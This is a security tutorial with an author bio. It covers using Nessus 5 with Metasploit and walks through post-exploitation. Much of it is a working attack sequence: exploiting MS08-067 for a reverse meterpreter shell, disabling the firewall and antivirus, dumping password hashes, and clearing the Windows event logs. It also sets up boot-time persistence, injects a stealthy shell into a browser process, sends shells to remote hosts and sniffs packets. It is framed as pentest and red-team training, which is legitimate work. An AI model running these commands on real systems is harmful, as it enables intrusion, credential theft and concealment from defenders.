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Machine Learning : Tutorial

Metasploit Helpful Tips

Shell tossing and other useful tips

The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. Payloads, encoders, and nop slide generators can be mixed and matched with exploit modules to solve almost any exploit-related task. This tutorial will walk you through how to use the latest version of Nessus pre-built plugin filter ‘Metasploit Framework' in your pentest assignments. It will also cover some useful metasploit tips to achieve privilege escalation. Wouldn't it be great to have a shell on another box just in case you lose your meterpreter shell? This tutorial covers this and other metasploit tips.

Integrating Nessus 5 with Metasploit
With the release of Nessus 5 by Tenable Network Security users now have better filtering in policy creation, analysis, reporting, and faster scanning time. The product allows you to select only those checks that cover vulnerabilities whose exploits are in the Metasploit Exploit framework for both local and remote exploits. To start go to the Tenable site http://www.tenable.com/products and download Nessus 5 and install. The new installation will install in /opt/nessus and will install overtop any previous version of the product. Start nessus daemon and open up your web browser to https://localhost:8834 login and go to policies and click add (see Figure #1) give your policy a title and click next. On the Credentials page leave it as default and click next at the bottom. The Plugins page will follow where you will add a filter and will be presented with a drop down with many different options, choose the ‘Metasploit Exploit Framework' make sure that ‘is equal to' and ‘true' is selected and click save (see Figure #2). Next disable all plugins and select the Family name that you would want to enable and click on the enable plugins in the upper right hand corner of the page. Do this for all Family plugins that you would like to enable and click submit at the bottom.

Figure #1 open web browser on https://localhost:8834

Figure #2 Select Metasploit Exploit Framework from the drop down

To begin a scan click on the scans and add, this will allow you to name the scan and type either run now, scheduled, or template. The policy dropdown is where you pick your policy that you created earlier followed by selecting a target. Now you can start a scan and the time it will take is surprisingly fast. After you are given a report that lists the Plugin ID, count, severity, name, and family of each as they relate to the Metasploit Framework (see Figure 3). The name section gives what exploit within Metasploit can be used successfully against the box.

Figure #3 Report gives what exploit in Metasploit can be used successfully on the box

You can also start a scan in the Metasploit Framework itself and use the plugin. Start the msfconsole and load nessus.

msf > load nessus

Once the plugins are loaded connect to the server.

msf > nessus_connect cr0wn:[email protected] ok

Now show the available plugins with the nessus_policy_list command (see Figure #4).

Figure #4 nessus_policy_list

You can use the policy to scan the network by using the policy ID, name of scan, and specifying a target IP range using the nessus_scan_new command (see Figure #5). For this scan we will be targeting a single Windows XP box with the IP address of If you are connected to a database within the Metasploit Framework you can open a view the information from the console otherwise you can view them form the web browser. Now you can select an exploit to use on the target system such as the MS08-067, or MS06-040.

Figure #5 nessus_scan_new

Basic Exploitation using Metasploit

At this point we will use the MS08-067 flaw to our advantage and get a meterpreter shell on the box. To accomplish this do the following:

msf > use exploit/windows/smb/ms08_067_netapi

msf > set payload windows/meterpreter/reverse_tcp

msf > set lhost

msf > set lport 5555

msf > set rhost

msf > exploit

meterpreter >

Useful meterpreter commands
Now we are left with a meterpreter shell on the windows box and there are a number of things that can be done now. Checking to see if the box your on is a virtual machine, has anti-virus, what the local subnet looks like, and what kind of security configuration is on the victim system is a good first start. Metasploit comes with some useful scripts to perform these tasks.

meterpreter > run checkvm

This will show you the help menu with options, choose -d to disable built in firewall.

meterpreter > run getcountermeasure -h

meterpreter > run getcountermeasure -d

To kill most antivirus, run the ‘killav' script.

meterpreter > run killav

To identify the local subnet mask that the victim is on run the ‘get_local_subnets' script

meterpreter > run get_local_subnets

You may want to search the host for interesting information such as *.pdf, *.txt, *.doc, *.jpg, etc. Use the search function in meterpreter.

meterpreter > search -h

meterpreter > search -f *.pdf

To get some detailed information about the system use the ‘winenum' script and the ‘scraper' script. Winenum script will dump tokens, hashes and provide you with lots of information (see Figure #6). The ‘scraper' script will pull down the registry and system information.

meterpreter > run winenum

meterpreter > run scraper

Figure #6 winenum command

Now we should delete the log files. To do this, open up into the meterpreter scripting menu by using the ‘irb' command. Then issue the following at the >> prompt:

log = client.sys.enentlog.open(‘system')

meterpreter > irb

[*] Starting IRB shell

[*] The ‘client' variable holds the meterpreter client

>> log = client.sys.eventlog.open(‘system')

>> log.clear

While we're at it lets go ahead and delete the security log and application log, just change (‘system') to (‘security') & (‘application').

Being able to shove a meterpreter shell to team members that you are performing a pentest with is extremely valuable. This option had not presented itself to me till I took a class on Industrial Control Systems Advanced Cybersecurity (301) given by the US-CERT in Idaho Falls. I would recommend anyone doing work in the realm of ICS/ SCADA systems to take this class. Jeff Hahn and his group at the Idaho National Laboratory are doing great work. The class provides intensive hands-on training on protecting and security industrial control systems from cyber-attacks. On day 4 there is a 12-hour exercise where participants are attacking (Red Team) or defending (Blue Team). I was on the red team and having the ability to throw meterpreter shells to my fellow red team members would be helpful. Here are a few examples of how this is done.

The first example is using the meterpreter script ‘persistence', to see a list of options use the -h switch.

Meterpreter > run persistence -h

Meterpreter > run persistence -X -i 5 -p 5555 -r

This would throw a meterpreter session to remote system -r at an interval (5 seconds), at port -p 5555, and would be loaded into and run (-X) every time the machine booted up. The recipient of this would be waiting for the meterpreter shell by using the multi/handler.

msf > use multi/handler

msf > set payload windows/meterpreter/reverse_tcp

msf > set lhost

msf > set lport 5555

msf > exploit

The second example is a bit stealthier and has the ability to inject your meterpreter shell into an existing process. After running the ps command from within your meterpreter shell you get a list of running processes. To view a list of running process issue the ‘ps' command.

meterpreter > ps

Look through the list of process and identify PID's that can be used that will not draw attention such as IEXPLORER.EXE PID 3664 (see Figure #7).

Figure #7 ps command

Being able to inject the meterpreter shell into the IEXPLORE.EXE process would be stealthy. Let's run the multi_meter_inject command using the following switches.

meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr -p 3664

This would throw a meterpreter session to remote system -mr, at port -p 3664. The recipient of this would be waiting for the meterpreter shell by using the multi/handler just like above, just change the lport to 3664 (see Figure #8).

Figure #8 Recipient of meterpreter shell using multi_meter_inject

Now when performing some basic analysis on the victim box you can run ‘tasklist' and nothing looks out of place (see Figure #9), but when you run ‘netstat -an' you will see the foreign connection (see Figure #10).

Figure #9 tasklist command

Figure #10 netstat -an command

A third way to send off meterpreter shells to a foreign box for your friends or one that you own is to use the meterpreter script duplicate. At the meterpreter prompt issue the following commands:

meterpreter > run duplicate -h

This will give you the various options.

meterpreter > run duplicate -r

This will send a meterpreter shell to the IP address on the default port of 4546 (see Figure #11).

Figure #11 Recipient of meterpreter shell using duplicate

You can run a packet sniffer on the box after you allow your team member to obtain meterpreter shells if you like. This meterpreter script, like the ones above written by Carlos Perez is called packetrecorder and allows some more granularities when capturing packets.

meterpreter > run packetrecorder

This will give you a list of options to use. You will need to determine the interface to listen on; this can be obtained by issuing the following command ‘run packetrecorder -li'. This will give a list of network interfaces; choose one and a destination to write the file to.

meterpreter > run packetrecorder -i -l /home/tmp/

[*] Packet capture interval is 30 Seconds

The file can later be reviewed with wireshark or tcpdump.

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

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